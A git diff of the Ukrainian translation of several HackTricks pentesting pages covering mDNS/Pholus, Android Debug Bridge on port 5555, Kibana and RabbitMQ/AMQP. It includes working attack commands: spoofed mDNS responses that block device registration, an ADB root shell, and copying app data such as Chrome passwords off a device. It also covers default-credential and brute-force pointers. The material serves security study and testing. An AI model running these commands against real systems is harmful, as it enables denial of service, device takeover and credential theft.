||||
#### **Мережеве перелічення з Pholus**
|
||||
#### **Перерахунок мережі з Pholus**
|
||||
|
||||
Для активного відправлення запитів mDNS та захоплення трафіку можна використовувати інструмент **Pholus** наступним чином:
|
||||
Щоб активно надсилати запити mDNS та захоплювати трафік, інструмент **Pholus** можна використовувати наступним чином:
|
||||
```bash
|
||||
sudo python3 pholus3.py [network interface] -rq -stimeout 10
|
||||
```
|
||||
## Атаки
|
||||
|
||||
### **Використання mDNS-пробінгу**
|
||||
### **Експлуатація mDNS Пробування**
|
||||
|
||||
Вектор атаки полягає в надсиланні підроблених відповідей на mDNS-запити, що вказують на те, що всі потенційні імена вже використовуються, тим самим ускладнюючи вибір унікального імені для нових пристроїв. Це можна виконати за допомогою:
|
||||
Атакуючий вектор полягає у відправці підроблених відповідей на mDNS проби, що свідчить про те, що всі потенційні імена вже використовуються, тим самим ускладнюючи новим пристроям вибір унікального імені. Це можна виконати за допомогою:
|
||||
```bash
|
||||
sudo python pholus.py [network interface] -afre -stimeout 1000
|
||||
```
|
||||
Ця техніка ефективно блокує нові пристрої від реєстрації своїх служб в мережі.
|
||||
Ця техніка ефективно блокує нові пристрої від реєстрації своїх послуг у мережі.
|
||||
|
||||
**У підсумку**, розуміння роботи mDNS та DNS-SD є важливим для управління мережею та безпеки. Інструменти, такі як **nmap** та **Pholus**, надають цінні уявлення про локальні мережеві служби, а усвідомлення потенційних вразливостей допомагає захиститися від атак.
|
||||
**У підсумку**, розуміння роботи mDNS та DNS-SD є критично важливим для управління мережею та безпеки. Інструменти, такі як **nmap** та **Pholus**, пропонують цінну інформацію про локальні мережеві послуги, тоді як усвідомлення потенційних вразливостей допомагає захиститися від атак.
|
||||
|
||||
### Spoofing/MitM
|
||||
|
||||
### Підроблення/Міжсерверна атака
|
||||
|
||||
Найцікавіша атака, яку можна виконати через цю службу, - це виконання **Міжсерверної атаки** у **комунікації між клієнтом та реальним сервером**. Ви можете отримати чутливі файли (Міжсерверна атака на комунікацію з принтером) або навіть облікові дані (аутентифікація Windows).\
|
||||
Найцікавіша атака, яку ви можете виконати через цю службу, - це виконати **MitM** у **зв'язку між клієнтом і реальним сервером**. Ви можете отримати чутливі файли (MitM зв'язок з принтером) або навіть облікові дані (автентифікація Windows).\
|
||||
Для отримання додаткової інформації перегляньте:
|
||||
|
||||
{% content-ref url="../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md" %}
|
||||
[spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md](../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Посилання
|
||||
## References
|
||||
|
||||
* [Практичний взлом Інтернету речей: остаточний посібник з атак на Інтернет речей](https://books.google.co.uk/books/about/Practical\_IoT\_Hacking.html?id=GbYEEAAAQBAJ\&redir\_esc=y)
|
||||
* [Practical IoT Hacking: The Definitive Guide to Attacking the Internet of Things](https://books.google.co.uk/books/about/Practical\_IoT\_Hacking.html?id=GbYEEAAAQBAJ\&redir\_esc=y)
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити свою **компанію рекламовану на HackTricks** або **завантажити HackTricks у PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github репозиторіїв.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,69 +1,71 @@
|
|||
# 5555 - Android Debug Bridge
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити вашу **компанію в рекламі HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв GitHub.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Базова інформація
|
||||
## Basic Information
|
||||
|
||||
З [документації](https://developer.android.com/studio/command-line/adb):
|
||||
|
||||
**Android Debug Bridge** (adb) - це універсальний інструмент командного рядка, який дозволяє вам спілкуватися з пристроєм. Команда adb сприяє виконанню різних дій з пристроєм, таких як **встановлення та налагодження додатків**, і надає **доступ до оболонки Unix**, яку можна використовувати для виконання різних команд на пристрої.
|
||||
**Android Debug Bridge** (adb) — це універсальний інструмент командного рядка, який дозволяє вам спілкуватися з пристроєм. Команда adb полегшує різноманітні дії з пристроєм, такі як **встановлення та налагодження додатків**, і надає **доступ до оболонки Unix**, яку ви можете використовувати для виконання різноманітних команд на пристрої.
|
||||
|
||||
**Порт за замовчуванням**: 5555.
|
||||
```
|
||||
PORT STATE SERVICE VERSION
|
||||
5555/tcp open adb Android Debug Bridge device (name: msm8909; model: N3; device: msm8909)
|
||||
```
|
||||
## Підключення
|
||||
## Connect
|
||||
|
||||
Якщо ви знаходите службу ADB, яка працює на порту пристрою і можете підключитися до неї, **ви можете отримати оболонку всередині системи:**
|
||||
Якщо ви знайдете службу ADB, що працює на порту пристрою, і зможете підключитися до неї, **ви зможете отримати оболонку всередині системи:**
|
||||
```bash
|
||||
adb connect 10.10.10.10
|
||||
adb root # Try to escalate to root
|
||||
adb shell
|
||||
```
|
||||
Для отримання додаткових команд ADB перевірте наступну сторінку:
|
||||
Для отримання додаткових команд ADB перегляньте наступну сторінку:
|
||||
|
||||
{% content-ref url="../mobile-pentesting/android-app-pentesting/adb-commands.md" %}
|
||||
[adb-commands.md](../mobile-pentesting/android-app-pentesting/adb-commands.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Витягнути дані додатку
|
||||
### Вивантаження даних програми
|
||||
|
||||
Для повного завантаження даних додатка ви можете:
|
||||
Щоб повністю завантажити дані програми, ви можете:
|
||||
```bash
|
||||
# From a root console
|
||||
chmod 777 /data/data/com.package
|
||||
cp -r /data/data/com.package /sdcard Note: Using ADB attacker cannot obtain data directly by using command " adb pull /data/data/com.package". He is compulsorily required to move data to Internal storage and then he can pull that data.
|
||||
adb pull "/sdcard/com.package"
|
||||
```
|
||||
Можна скористатися цим трюком для **отримання чутливої інформації, такої як паролі Chrome**. Для отримання додаткової інформації перевірте інформацію та посилання, надані [**тут**](https://github.com/carlospolop/hacktricks/issues/274).
|
||||
Ви можете використовувати цей трюк, щоб **отримати чутливу інформацію, таку як паролі chrome**. Для отримання додаткової інформації про це перевірте інформацію в посиланнях, наданих [**тут**](https://github.com/carlospolop/hacktricks/issues/274).
|
||||
|
||||
## Shodan
|
||||
|
||||
* `android debug bridge`
|
||||
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Підтримати HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити свою **компанію рекламовану на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв GitHub.
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,41 +1,55 @@
|
|||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Експерт з червоної команди AWS HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити **рекламу вашої компанії на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) **і** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **репозиторіїв GitHub**.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
# Основна інформація
|
||||
|
||||
Kibana відома своєю можливістю шукати та візуалізувати дані в Elasticsearch, яка зазвичай працює на порту **5601**. Вона служить інтерфейсом для моніторингу, управління та функцій безпеки кластера Elastic Stack.
|
||||
Kibana відома своєю здатністю шукати та візуалізувати дані в Elasticsearch, зазвичай працюючи на порту **5601**. Вона слугує інтерфейсом для моніторингу, управління та безпеки кластеру Elastic Stack.
|
||||
|
||||
## Розуміння аутентифікації
|
||||
|
||||
Процес аутентифікації в Kibana неодмінно пов'язаний з **обліковими даними, які використовуються в Elasticsearch**. Якщо аутентифікація в Elasticsearch вимкнена, до Kibana можна отримати доступ без будь-яких облікових даних. Навпаки, якщо Elasticsearch захищений обліковими даними, для доступу до Kibana потрібні ті самі облікові дані, зберігаючи однакові права користувача на обох платформах. Облікові дані можуть бути знайдені в файлі **/etc/kibana/kibana.yml**. Якщо ці облікові дані не стосуються користувача **kibana_system**, вони можуть надати ширший доступ, оскільки доступ користувача kibana_system обмежується моніторинговими API та індексом .kibana.
|
||||
Процес аутентифікації в Kibana невід'ємно пов'язаний з **обліковими даними, що використовуються в Elasticsearch**. Якщо аутентифікація в Elasticsearch вимкнена, до Kibana можна отримати доступ без облікових даних. Навпаки, якщо Elasticsearch захищений обліковими даними, ті ж облікові дані потрібні для доступу до Kibana, зберігаючи ідентичні права користувачів на обох платформах. Облікові дані можуть бути знайдені у файлі **/etc/kibana/kibana.yml**. Якщо ці облікові дані не стосуються користувача **kibana_system**, вони можуть надати ширші права доступу, оскільки доступ користувача kibana_system обмежений моніторинговими API та індексом .kibana.
|
||||
|
||||
## Дії при доступі
|
||||
## Дії після доступу
|
||||
|
||||
Після забезпечення доступу до Kibana рекомендується виконати кілька дій:
|
||||
Після отримання доступу до Kibana рекомендується виконати кілька дій:
|
||||
|
||||
- Дослідження даних з Elasticsearch повинно бути пріоритетом.
|
||||
- Можливість управління користувачами, включаючи редагування, видалення або створення нових користувачів, ролей або ключів API, знаходиться в розділі Stack Management -> Users/Roles/API Keys.
|
||||
- Важливо перевірити встановлену версію Kibana на наявність відомих уразливостей, таких як уразливість RCE, виявлена в версіях до 6.6.0 ([Додаткова інформація](https://insinuator.net/2021/01/pentesting-the-elk-stack/#ref2)).
|
||||
- Вивчення даних з Elasticsearch має бути пріоритетом.
|
||||
- Можливість керувати користувачами, включаючи редагування, видалення або створення нових користувачів, ролей або API ключів, знаходиться в розділі Stack Management -> Users/Roles/API Keys.
|
||||
- Важливо перевірити встановлену версію Kibana на наявність відомих вразливостей, таких як вразливість RCE, виявлена в версіях до 6.6.0 ([Додаткова інформація](https://insinuator.net/2021/01/pentesting-the-elk-stack/#ref2)).
|
||||
|
||||
## Розгляд SSL/TLS
|
||||
## Розгляди SSL/TLS
|
||||
|
||||
У випадках, коли SSL/TLS не увімкнено, потенційна можливість витоку чутливої інформації повинна бути ретельно оцінена.
|
||||
У випадках, коли SSL/TLS не увімкнено, потенціал для витоку чутливої інформації слід ретельно оцінити.
|
||||
|
||||
## Посилання
|
||||
|
||||
* [https://insinuator.net/2021/01/pentesting-the-elk-stack/](https://insinuator.net/2021/01/pentesting-the-elk-stack/)
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,35 +1,36 @@
|
|||
# 5671,5672 - Пентест AMQP
|
||||
# 5671,5672 - Pentesting AMQP
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити вашу **компанію в рекламі на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) **і** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **репозиторіїв на GitHub**.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Основна інформація
|
||||
## Basic Information
|
||||
|
||||
З [cloudamqp](https://www.cloudamqp.com/blog/2015-05-18-part1-rabbitmq-for-beginners-what-is-rabbitmq.html):
|
||||
From [cloudamqp](https://www.cloudamqp.com/blog/2015-05-18-part1-rabbitmq-for-beginners-what-is-rabbitmq.html):
|
||||
|
||||
> **RabbitMQ** - це **програмне забезпечення для черги повідомлень**, відоме також як _посередник повідомлень_ або _менеджер черг_. Просто кажучи, це програмне забезпечення, де визначаються черги, до яких підключаються додатки для передачі повідомлення або повідомлень.\
|
||||
> **Повідомлення може містити будь-яку інформацію**. Наприклад, воно може містити інформацію про процес або завдання, яке повинно початися на іншому додатку (який може бути навіть на іншому сервері), або це може бути просто текстове повідомлення. Програмне забезпечення менеджера черг зберігає повідомлення до того моменту, поки приймаючий додаток не підключиться і не забере повідомлення з черги. Приймаючий додаток потім обробляє повідомлення.\
|
||||
Визначення з .
|
||||
> **RabbitMQ** є **програмним забезпеченням для черг повідомлень**, також відомим як _посередник повідомлень_ або _менеджер черг._ Простими словами; це програмне забезпечення, в якому визначені черги, до яких підключаються програми для передачі повідомлення або повідомлень.\
|
||||
> **Повідомлення може містити будь-яку інформацію**. Наприклад, воно може містити інформацію про процес або завдання, яке повинно початися в іншій програмі (яка може бути навіть на іншому сервері), або це може бути просто просте текстове повідомлення. Програмне забезпечення менеджера черг зберігає повідомлення, поки програма-отримувач не підключиться і не забере повідомлення з черги. Програма-отримувач потім обробляє повідомлення.\
|
||||
Definition from .
|
||||
|
||||
**Порт за замовчуванням**: 5672,5671
|
||||
**Default port**: 5672,5671
|
||||
```
|
||||
PORT STATE SERVICE VERSION
|
||||
5672/tcp open amqp RabbitMQ 3.1.5 (0-9)
|
||||
```
|
||||
## Перелік
|
||||
## Перерахування
|
||||
|
||||
### Ручний
|
||||
### Вручну
|
||||
```python
|
||||
import amqp
|
||||
#By default it uses default credentials "guest":"guest"
|
||||
|
@ -58,40 +59,41 @@ PORT STATE SERVICE VERSION
|
|||
| mechanisms: PLAIN AMQPLAIN
|
||||
|_ locales: en_US
|
||||
```
|
||||
### Словний атаки
|
||||
### Brute Force
|
||||
|
||||
* [**AMQP Протокол Словний атаки**](../generic-methodologies-and-resources/brute-force.md#amqp-activemq-rabbitmq-qpid-joram-and-solace)
|
||||
* [**STOMP Протокол Словний атаки**](../generic-methodologies-and-resources/brute-force.md#stomp-activemq-rabbitmq-hornetq-and-openmq)
|
||||
* [**AMQP Protocol Brute-Force**](../generic-methodologies-and-resources/brute-force.md#amqp-activemq-rabbitmq-qpid-joram-and-solace)
|
||||
* [**STOMP Protocol Brute-Force**](../generic-methodologies-and-resources/brute-force.md#stomp-activemq-rabbitmq-hornetq-and-openmq)
|
||||
|
||||
## Інші порти RabbitMQ
|
||||
|
||||
На [https://www.rabbitmq.com/networking.html](https://www.rabbitmq.com/networking.html) ви можете знайти, що **rabbitmq використовує кілька портів**:
|
||||
В [https://www.rabbitmq.com/networking.html](https://www.rabbitmq.com/networking.html) ви можете знайти, що **rabbitmq використовує кілька портів**:
|
||||
|
||||
* **1883, 8883**: ([MQTT клієнти](http://mqtt.org) без та з TLS, якщо ввімкнений [MQTT плагін](https://www.rabbitmq.com/mqtt.html). [**Дізнайтеся більше про те, як тестувати на проникнення MQTT тут**](1883-pentesting-mqtt-mosquitto.md).
|
||||
* **4369: epmd**, служба виявлення рівнів, яку використовують вузли RabbitMQ та інструменти командного рядка. [**Дізнайтеся більше про те, як тестувати на проникнення цю службу тут**](4369-pentesting-erlang-port-mapper-daemon-epmd.md).
|
||||
* **5672, 5671**: використовується клієнтами AMQP 0-9-1 та 1.0 без та з TLS
|
||||
* **15672**: [HTTP API](https://www.rabbitmq.com/management.html) клієнти, [інтерфейс управління](https://www.rabbitmq.com/management.html) та [rabbitmqadmin](https://www.rabbitmq.com/management-cli.html) (лише якщо ввімкнений [плагін управління](https://www.rabbitmq.com/management.html)). [**Дізнайтеся більше про те, як тестувати на проникнення цю службу тут**](15672-pentesting-rabbitmq-management.md).
|
||||
* 15674: клієнти STOMP-over-WebSockets (лише якщо ввімкнений [плагін Web STOMP](https://www.rabbitmq.com/web-stomp.html))
|
||||
* 15675: клієнти MQTT-over-WebSockets (лише якщо ввімкнений [плагін Web MQTT](https://www.rabbitmq.com/web-mqtt.html))
|
||||
* 15692: метрика Prometheus (лише якщо ввімкнений [плагін Prometheus](https://www.rabbitmq.com/prometheus.html))
|
||||
* 25672: використовується для міжвузлового та комунікації інструментів командного рядка (порт сервера розподілу Erlang) та виділяється з динамічного діапазону (обмежений одним портом за замовчуванням, обчислений як порт AMQP + 20000). Якщо зовнішні підключення до цих портів дійсно необхідні (наприклад, кластер використовує [федерацію](https://www.rabbitmq.com/federation.html) або інструменти командного рядка використовуються на машинах поза підмережею), ці порти не повинні бути публічно відкриті. Див. [посібник з мережевого з'єднання](https://www.rabbitmq.com/networking.html) для отримання деталей. **Лише 9 з цих портів відкриті в Інтернеті**.
|
||||
* 35672-35682: використовується інструментами командного рядка (порти клієнта розподілу Erlang) для комунікації з вузлами та виділяється з динамічного діапазону (обчислений як порт розподілу сервера + 10000 через порт розподілу сервера + 10010). Див. [посібник з мережевого з'єднання](https://www.rabbitmq.com/networking.html) для отримання деталей.
|
||||
* 61613, 61614: [клієнти STOMP](https://stomp.github.io/stomp-specification-1.2.html) без та з TLS (лише якщо ввімкнений [плагін STOMP](https://www.rabbitmq.com/stomp.html)). Менше 10 пристроїв з цим відкритим портом, і в основному UDP для вузлів DHT.
|
||||
* **1883, 8883**: ([MQTT клієнти](http://mqtt.org) без і з TLS, якщо увімкнено [MQTT плагін](https://www.rabbitmq.com/mqtt.html). [**Дізнайтеся більше про те, як проводити тестування MQTT тут**](1883-pentesting-mqtt-mosquitto.md).
|
||||
* **4369: epmd**, служба виявлення пір, що використовується вузлами RabbitMQ та інструментами CLI. [**Дізнайтеся більше про те, як проводити тестування цієї служби тут**](4369-pentesting-erlang-port-mapper-daemon-epmd.md).
|
||||
* **5672, 5671**: використовуються клієнтами AMQP 0-9-1 та 1.0 без і з TLS
|
||||
* **15672**: [HTTP API](https://www.rabbitmq.com/management.html) клієнти, [інтерфейс управління](https://www.rabbitmq.com/management.html) та [rabbitmqadmin](https://www.rabbitmq.com/management-cli.html) (тільки якщо увімкнено [плагін управління](https://www.rabbitmq.com/management.html)). [**Дізнайтеся більше про те, як проводити тестування цієї служби тут**](15672-pentesting-rabbitmq-management.md).
|
||||
* 15674: STOMP через WebSockets клієнти (тільки якщо увімкнено [Web STOMP плагін](https://www.rabbitmq.com/web-stomp.html))
|
||||
* 15675: MQTT через WebSockets клієнти (тільки якщо увімкнено [Web MQTT плагін](https://www.rabbitmq.com/web-mqtt.html))
|
||||
* 15692: метрики Prometheus (тільки якщо увімкнено [Prometheus плагін](https://www.rabbitmq.com/prometheus.html))
|
||||
* 25672: використовується для зв'язку між вузлами та інструментами CLI (порт сервера розподілу Erlang) і виділяється з динамічного діапазону (обмежений до одного порту за замовчуванням, обчислений як AMQP порт + 20000). Якщо зовнішні з'єднання на цих портах дійсно необхідні (наприклад, кластер використовує [федерацію](https://www.rabbitmq.com/federation.html) або інструменти CLI використовуються на машинах поза підмережі), ці порти не повинні бути відкриті для публічного доступу. Дивіться [посібник з мережі](https://www.rabbitmq.com/networking.html) для деталей. **Лише 9 з цих портів відкриті в Інтернеті**.
|
||||
